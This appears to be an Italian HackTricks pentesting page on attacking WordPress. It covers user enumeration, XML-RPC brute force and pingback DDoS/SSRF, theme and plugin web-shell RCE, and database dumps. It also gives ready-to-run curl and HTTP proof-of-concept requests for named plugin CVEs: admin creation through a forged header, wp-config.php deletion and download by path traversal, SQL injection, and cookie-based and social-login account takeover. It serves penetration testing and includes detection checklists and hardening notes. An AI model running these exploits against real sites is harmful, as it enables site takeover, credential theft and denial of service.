Wordpress

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • In wp-config.php you can find the root password of the database.

  • Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt contains useful information such as the version WordPress installed.
  • wp-activate.php is used for the email activation process when setting up a new WordPress site.
  • Login folders (may be renamed to hide it):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress REST API.
  • The wp-content folder is the main directory where plugins and themes are stored.
  • wp-content/uploads/ Is the directory where any files uploaded to the platform are stored.
  • wp-includes/ This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
  • wp-sitemap.xml In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.

Post-exploitation

  • The wp-config.php file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

Permessi degli utenti

  • Administrator
  • Editor: Pubblica e gestisce i propri post e quelli degli altri
  • Author: Pubblica e gestisce i propri post
  • Contributor: Scrive e gestisce i propri post ma non può pubblicarli
  • Subscriber: Consulta i post e modifica il proprio profilo

Enumerazione passiva

Ottenere la versione di WordPress

Controlla se riesci a trovare i file /license.txt o /readme.html

All’interno del codice sorgente della pagina (esempio da https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • File link CSS

  • File JavaScript

Ottieni Plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ottenere i temi

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Estrazione delle versioni in generale

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Active enumeration

Plugins and Themes

Probabilmente non riuscirai a trovare tutti i Plugins and Themes disponibili. Per scoprirli tutti, dovrai actively Brute Force a list of Plugins and Themes (speriamo che per noi esistano strumenti automatizzati che contengano queste liste).

Users

  • ID Brute: Ottieni utenti validi da un sito WordPress tramite Brute Forcing users IDs:
curl -s -I -X GET http://blog.example.com/?author=1

Se le risposte sono 200 o 30X, significa che l’id è valido. Se la risposta è 400, allora l’id è non valido.

  • wp-json: Puoi anche provare a ottenere informazioni sugli utenti interrogando:
curl http://blog.example.com/wp-json/wp/v2/users

Un altro endpoint /wp-json/ che può rivelare alcune informazioni sugli utenti è:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. Saranno fornite solo informazioni sugli utenti che hanno questa funzionalitĂ  abilitata.

Nota inoltre che /wp-json/wp/v2/pages potrebbe leak IP addresses.

  • Login username enumeration: Quando effettui il login in /wp-login.php il messaggio è diverso se indica se lo username esiste o meno.

XML-RPC

Se xml-rpc.php è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo using this per esempio).

Per verificare se è attivo prova ad accedere a /xmlrpc.php e invia questa richiesta:

Verifica

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credenziali Bruteforce

wp.getUserBlogs, wp.getCategories o metaWeblog.getUsersBlogs sono alcuni dei metodi che possono essere usati per effettuare un brute-force sulle credenziali. Se riesci a trovare uno di essi puoi inviare qualcosa del tipo:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Il messaggio “Incorrect username or password” all’interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.

Usando le credenziali corrette puoi caricare un file. Nella risposta apparirĂ  il percorso (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Esiste anche un modo piĂš veloce per effettuare brute-force delle credenziali usando system.multicall, poichĂŠ puoi provare piĂš credenziali nella stessa richiesta:

Bypass 2FA

Questo metodo è pensato per programmi e non per esseri umani, ed è datato, quindi non supporta la 2FA. Quindi, se hai valid creds ma l’accesso principale è protetto da 2FA, potresti riuscire ad abusare di xmlrpc.php per fare login con quelle credenziali bypassando la 2FA. Nota che non potrai eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque riuscire ad arrivare a RCE come spiega Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Se riesci a trovare il metodo pingback.ping nella lista puoi far sĂŹ che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.
Questo può essere usato per chiedere a migliaia di siti Wordpress di accedere a una stessa destinazione (causando cosÏ un DDoS in quel punto) oppure puoi usarlo per far Wordpress scansionare una rete interna (puoi indicare qualsiasi porta).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Se ricevi faultCode con un valore maggiore di 0 (17), significa che la porta è aperta.

Dai un’occhiata all’uso di system.multicall nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Questo file di solito esiste nella root del sito Wordpress: /wp-cron.php
Quando questo file viene acceduto viene eseguita una query MySQL “pesante”, quindi potrebbe essere usato da attaccanti per causare un DoS.
Inoltre, di default, wp-cron.php viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).

Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sul host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).

/wp-json/oembed/1.0/proxy - SSRF

Prova ad accedere a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e il sito Worpress potrebbe effettuare una richiesta verso di te.

This is the response when it doesn’t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Questo strumento verifica la presenza di methodName: pingback.ping e del path /wp-json/oembed/1.0/proxy e, se esistono, prova a sfruttarli.

Strumenti automatici

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Ottenere l’accesso sovrascrivendo un bit

Più che un attacco reale, è una curiosità. Nel CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man potevi modificare un singolo bit di qualsiasi file di wordpress. Quindi potevi invertire la posizione 5389 del file /var/www/html/wp-includes/user.php per trasformare in NOP l’operazione NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Pannello RCE

Modifica di un file php del tema in uso (credenziali admin necessarie)

Appearance → Theme Editor → 404 Template (a destra)

Modifica il contenuto inserendo una php shell:

Cerca su Internet come accedere alla pagina aggiornata. In questo caso devi accedere qui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Puoi usare:

use exploit/unix/webapp/wp_admin_shell_upload

per ottenere una sessione.

Plugin RCE

PHP plugin

Potrebbe essere possibile caricare file .php come plugin.
Crea la tua backdoor PHP usando ad esempio:

Poi aggiungi un nuovo plugin:

Carica il plugin e premi Install Now:

Clicca su Procced:

Probabilmente non sembrerĂ  succedere nulla, ma se vai su Media vedrai la tua shell caricata:

Accedi e vedrai l’URL per eseguire la reverse shell:

Uploading and activating malicious plugin

Questo metodo implica l’installazione di un plugin malicious noto per essere vulnerabile e sfruttabile per ottenere una web shell. Questo processo viene eseguito tramite il WordPress dashboard come segue:

  1. Plugin Acquisition: Il plugin viene ottenuto da una fonte come Exploit DB come here.
  2. Plugin Installation:
  • Vai al WordPress dashboard, poi vai su Dashboard > Plugins > Upload Plugin.
  • Carica il file zip del plugin scaricato.
  1. Plugin Activation: Una volta che il plugin è stato installato con successo, deve essere attivato tramite il dashboard.
  2. Exploitation:
  • Con il plugin “reflex-gallery” installato e attivato, può essere sfruttato poichĂŠ è noto per essere vulnerabile.
  • Il Metasploit framework fornisce un exploit per questa vulnerabilitĂ . Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
  • Si nota che questo è solo uno dei tanti metodi per sfruttare un sito WordPress.

Il contenuto include immagini che mostrano i passaggi nel WordPress dashboard per l’installazione e l’attivazione del plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con permesso esplicito.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

Da XSS a RCE

  • WPXStrike: WPXStrike è uno script progettato per elevare una vulnerabilitĂ  Cross-Site Scripting (XSS) a Remote Code Execution (RCE) o ad altre vulnerabilitĂ  critiche in WordPress. Per maggiori informazioni consulta this post. Fornisce support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Crea un utente in WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Carica il tuo custom plugin (backdoor) in WordPress.
  • (RCE) Built-In Plugin Edit: Modifica plugin built-in in WordPress.
  • (RCE) Built-In Theme Edit: Modifica theme built-in in WordPress.
  • (Custom) Custom Exploits: Exploit custom per plugin/theme di terze parti.

Post Exploitation

Estrai username e password:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Cambia la password dell’admin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Pentest dei plugin Wordpress

Superficie d’attacco

Conoscere come un plugin Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nelle sue funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei seguenti punti elenco e alcuni esempi di plugin vulnerabili in questo post del blog.

  • wp_ajax

Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l’autenticazione sia l’autorizzazione sull’esistenza di un Wordpress nonce che qualsiasi utente autenticato nell’istanza Wordpress potrebbe avere (indipendentemente dal suo ruolo).

Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

L’uso di nopriv rende l’endpoint accessibile da qualsiasi utente (anche utenti non autenticati).

Caution

Inoltre, se la funzione verifica solo l’autorizzazione dell’utente con la funzione wp_verify_nonce, questa funzione controlla soltanto che l’utente sia autenticato, di solito non verifica il ruolo dell’utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni con privilegi elevati.

  • REST API

È anche possibile esporre funzioni da wordpress registrando una rest AP usando la funzione register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

La permission_callback è una callback che verifica se un dato utente è autorizzato a chiamare il metodo API.

Se viene utilizzata la funzione integrata __return_true, questa salterĂ  semplicemente il controllo dei permessi utente.

  • Accesso diretto al file PHP

Certo, Wordpress usa PHP e i file all’interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Alcuni plugin implementano scorciatoie “trusted header” per integrazioni interne o reverse proxies e poi usano quell’header per impostare il contesto utente corrente per le richieste REST. Se l’header non è vincolato crittograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e raggiungere route REST privilegiati come amministratore.

  • Impatto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (forza l’ID utente 1, tipicamente il primo account amministratore).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

PerchĂŠ funziona

  • The plugin maps a client-controlled header to authentication state and skips capability checks.
  • WordPress core expects create_users capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.

Indicatori di successo attesi

  • HTTP 201 with a JSON body describing the created user.
  • A new admin user visible in wp-admin/users.php.

Checklist di rilevamento

  • Grep per getallheaders(), $_SERVER['HTTP_...'], o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es., wp_set_current_user(), wp_set_auth_cookie()).
  • Revisiona le registrazioni REST per callback privilegiate che non hanno robuste verifiche di permission_callback e invece si basano sugli header della richiesta.
  • Cerca utilizzi delle funzioni core di gestione utenti (wp_insert_user, wp_create_user) all’interno di REST handler che sono protetti solo da valori degli header.

Eliminazione arbitraria di file non autenticata tramite wp_ajax_nopriv (Litho Theme <= 3.0)

I temi e i plugin WordPress spesso espongono handler AJAX tramite gli hook wp_ajax_ e wp_ajax_nopriv_. Quando viene usata la variante nopriv la callback diventa raggiungibile da visitatori non autenticati, quindi qualsiasi azione sensibile deve inoltre implementare:

  1. Un controllo delle capability (es. current_user_can() o almeno is_user_logged_in()), e
  2. Un nonce CSRF convalidato con check_ajax_referer() / wp_verify_nonce(), e
  3. Sanificazione / validazione rigorosa degli input.

Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalitĂ  Remove Font Family ed ha finito per distribuire il seguente codice (semplificato):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemi introdotti da questo snippet:

  • Accesso non autenticato – l’hook wp_ajax_nopriv_ è registrato.
  • No nonce / capability check – qualsiasi visitatore può richiamare l’endpoint.
  • Nessuna sanitizzazione del percorso – la stringa controllata dall’utente fontfamily viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico ../../ traversal.

Sfruttamento

Un attaccante può eliminare qualsiasi file o directory sotto la directory base uploads (normalmente <wp-root>/wp-content/uploads/) inviando una singola richiesta HTTP POST:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Poiché wp-config.php risiede al di fuori di uploads, quattro sequenze ../ sono sufficienti in un’installazione di default. Eliminare wp-config.php costringe WordPress ad avviare la procedura di installazione alla visita successiva, permettendo una completa presa di controllo del sito (l’attaccante si limita a fornire una nuova configurazione DB e a creare un utente admin).

Altri bersagli rilevanti includono i file plugin/theme .php (per compromettere plugin di sicurezza) o le regole .htaccess.

Checklist di rilevamento

  • Qualsiasi callback add_action( 'wp_ajax_nopriv_...') che chiami helper del filesystem (copy(), unlink(), $wp_filesystem->delete(), ecc.).
  • Concatenazione di input utente non sanitizzato nei path (cerca $_POST, $_GET, $_REQUEST).
  • Assenza di check_ajax_referer() e current_user_can()/is_user_logged_in().

Escalation di privilegi tramite ripristino di ruoli obsoleti e autorizzazione mancante (ASE “View Admin as Role”)

Molti plugin implementano una funzionalità “view as role” o di cambio temporaneo del ruolo salvando il/i ruolo/i originali nei user meta in modo che possano essere ripristinati successivamente. Se il percorso di ripristino si basa esclusivamente sui parametri della request (ad es., $_REQUEST['reset-for']) e su una lista mantenuta dal plugin senza verificare le capability e un nonce valido, questo si trasforma in un’escalation di privilegi verticale.

Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su reset-for=<username> se lo username appariva in un array interno $options['viewing_admin_as_role_are'], ma non eseguiva né un controllo current_user_can() né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati nei user meta _asenha_view_admin_as_original_roles:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Why it’s exploitable

  • Si fida di $_REQUEST['reset-for'] e di un’opzione del plugin senza autorizzazione lato server.
  • Se un utente aveva precedentemente privilegi piĂš elevati salvati in _asenha_view_admin_as_original_roles e poi è stato declassato, può ripristinarli accedendo al percorso di reset.
  • In alcune implementazioni, qualsiasi utente autenticato potrebbe innescare un reset per un altro username ancora presente in viewing_admin_as_role_are (controllo di autorizzazione rotto).

Exploitation (example)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., administrator), escalando effettivamente i privilegi.

Detection checklist

  • Cerca feature di role-switching che persistono “original roles” in user meta (es., _asenha_view_admin_as_original_roles).
  • Identifica percorsi di reset/restore che:
    • Leggono username da $_REQUEST / $_GET / $_POST.
    • Modificano i ruoli tramite add_role() / remove_role() senza current_user_can() e wp_verify_nonce() / check_admin_referer().
    • Autorizzano basandosi su un array di opzioni del plugin (es., viewing_admin_as_role_are) invece che sulle capabilities dell’attore.

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

Alcuni plugin collegano i helper di user-switching all’hook pubblico init e ricavano l’identità da un cookie controllato dal client. Se il codice chiama wp_set_auth_cookie() senza verificare autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.

Tipico pattern vulnerabile (semplificato da Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

PerchÊ è sfruttabile

  • L’hook pubblico init rende il handler raggiungibile da utenti unauthenticated (nessuna guardia is_user_logged_in()).
  • L’identitĂ  è derivata da un cookie modificabile dal client (original_user_id).
  • La chiamata diretta a wp_set_auth_cookie($uid) effettua il login del richiedente come quell’utente senza alcun controllo di capability/nonce.

Sfruttamento (unauthenticated)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Considerazioni WAF per WordPress/plugin CVEs

I WAF generici per edge/server sono tarati su pattern ampi (SQLi, XSS, LFI). Molte vulnerabilitĂ  WordPress/plugin ad alto impatto sono bug di logica/applicazione o di auth specifici che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.

Offensive notes

  • Mirare gli endpoint specifici dei plugin con payload puliti: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Eseguire prima i percorsi unauth (AJAX nopriv, REST con permissive permission_callback, shortcodes pubblici). I default payloads spesso funzionano senza obfuscation.
  • Casi tipici ad alto impatto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Non fare affidamento sulle signature generiche del WAF per proteggere plugin CVEs. Implementa virtual patches specifici per la vulnerability a livello applicativo o aggiorna rapidamente.
  • Preferire controlli a sicurezza positiva nel codice (capabilities, nonces, strict input validation) rispetto a filtri regex negativi.

Protezione WordPress

Aggiornamenti regolari

Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma anche che l’aggiornamento automatico sia abilitato in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Inoltre, installa solo plugin e temi WordPress affidabili.

Security Plugins

Altre raccomandazioni

  • Rimuovi l’utente predefinito admin
  • Usa password forti e 2FA
  • Rivedi periodicamente i permessi degli utenti
  • Limita i tentativi di accesso per prevenire attacchi Brute Force
  • Rinomina il file wp-admin.php e consenti l’accesso solo internamente o da determinati indirizzi IP.

SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)

Il plugin WP Job Portal per il reclutamento esponeva un task savecategory che alla fine esegue il seguente codice vulnerabile all’interno di modules/category/model.php::validateFormData():

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problemi introdotti da questo frammento di codice:

  1. Unsanitised user input – parentid proviene direttamente dalla richiesta HTTP.
  2. String concatenation inside the WHERE clause – nessun is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – anche se l’azione è eseguita tramite admin-post.php, l’unico controllo presente è un CSRF nonce (wp_verify_nonce()), che qualsiasi visitatore può ottenere da una pagina pubblica che incorpora lo shortcode [wpjobportal_my_resumes].

Sfruttamento

  1. Recupera un nonce valido:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Inietta SQL arbitrario sfruttando parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

La risposta rivela il risultato della query iniettata o modifica il database, dimostrando l’SQLi.

Download arbitrario di file non autenticato / Path Traversal (WP Job Portal <= 2.3.2)

Un’altra azione, downloadcustomfile, permetteva ai visitatori di scaricare qualsiasi file su disco tramite path traversal. Il sink vulnerabile si trova in modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name è controllato dall’attaccante e concatenato senza sanitizzazione. Di nuovo, l’unica barriera è un CSRF nonce che può essere recuperato dalla pagina del curriculum.

Exploitation

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Il server risponde con il contenuto di wp-config.php, leaking DB credentials and auth keys.

Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Molti themes/plugins includono helper “social login” esposti tramite admin-ajax.php. Se un’azione AJAX non autenticata (wp_ajax_nopriv_…) si fida di identificatori forniti dal client quando i dati del provider mancano e poi chiama wp_set_auth_cookie(), questo diventa un completo bypass di autenticazione.

Pattern tipico vulnerabile (semplificato)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

PerchÊ è sfruttabile

  • Accesso non autenticato tramite admin-ajax.php (azione wp_ajax_nopriv_…).
  • Nessun controllo di nonce/capability prima della modifica dello stato.
  • Mancata verifica del provider OAuth/OpenID; il ramo predefinito accetta l’input dell’attaccante.
  • get_user_by(‘email’, $_POST[‘id’]) seguito da wp_set_auth_cookie($uid) autentica il richiedente come qualsiasi indirizzo email esistente.

Sfruttamento (non autenticato)

  • Prerequisiti: l’attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un’email utente valida.
  • Impostare provider su un valore non supportato (o ometterlo) per raggiungere il ramo predefinito e passare id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Indicatori di successo attesi

  • HTTP 200 con body JSON come {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* per l’utente vittima; le richieste successive sono autenticate.

Individuare il nome dell’azione

  • Ispezionare il tema/plugin per registrazioni add_action(‘wp_ajax_nopriv_…’, ‘…’) nel codice di social login (es., framework/add-ons/social-login/class-social-login.php).
  • Cercare con grep wp_set_auth_cookie(), get_user_by(‘email’, …) all’interno degli handler AJAX.

Checklist di rilevamento

  • Log web che mostrano POST non autenticati a /wp-admin/admin-ajax.php con l’azione social-login e id=.
  • Risposte 200 con il JSON di successo immediatamente prima del traffico autenticato dallo stesso IP/User-Agent.

Mitigazioni

  • Non derivare l’identitĂ  dall’input del client. Accettare soltanto email/ID che provengono da un token/ID del provider validato.
  • Richiedere CSRF nonces e controlli di capability anche per i login helpers; evitare di registrare wp_ajax_nopriv_ salvo stretta necessitĂ .
  • Validare e verificare le risposte OAuth/OIDC server-side; rifiutare provider mancanti/invalidi (nessun fallback al POST id).
  • Considerare la disabilitazione temporanea del social login o una patch virtuale al margine (bloccare l’azione vulnerabile) fino alla correzione.

Comportamento corretto (Jobmonster 4.8.0)

  • Rimosso il fallback insicuro da $_POST[‘id’]; $user_email deve provenire dai rami del provider verificati in switch($_POST[‘using’]).

Escalation di privilegi non autenticata tramite minting di token/chiavi REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82)

Alcuni plugin espongono endpoint REST che emettono chiavi di connessione riutilizzabili o token senza verificare le capability del chiamante. Se la route autentica solo su un attributo indovinabile (es., username) e non lega la chiave a un utente/sessione con controlli di capability, qualsiasi attacker non autenticato può emettere una chiave e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
